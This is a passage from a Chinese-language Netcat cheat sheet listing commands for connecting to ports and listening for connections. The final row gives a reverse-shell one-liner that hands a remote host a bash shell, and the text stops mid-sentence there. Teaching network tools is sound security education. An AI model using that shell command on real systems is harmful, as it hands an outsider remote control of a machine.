网络安全基础工具与信息收集技巧
1. 实用的 Netcat 命令
Netcat 是一个命令行工具,它使用 TCP 和 UDP 协议在网络上读写数据,因其具备众多不同功能,被称为“网络瑞士军刀”。以下是一些常用 Netcat 命令的快速使用指南:
| 描述 | 命令 |
|---|---|
| 连接到远程主机的某个端口 | nc remote_host <port> |
| 连接到远程主机的多个端口 | nc remote_host <port>…<port>例如: nc www.somecompanyasanexample.com 21 25 80 |
| 监听某个端口以等待传入连接 | nc –v –l –p <port> |
| 连接到远程主机并提供一个 bash shell | nc remote_ip <port> –e /bin/bash注意:Netcat 默认不支持 -e标志。要使其支持-e标志,必须使用 |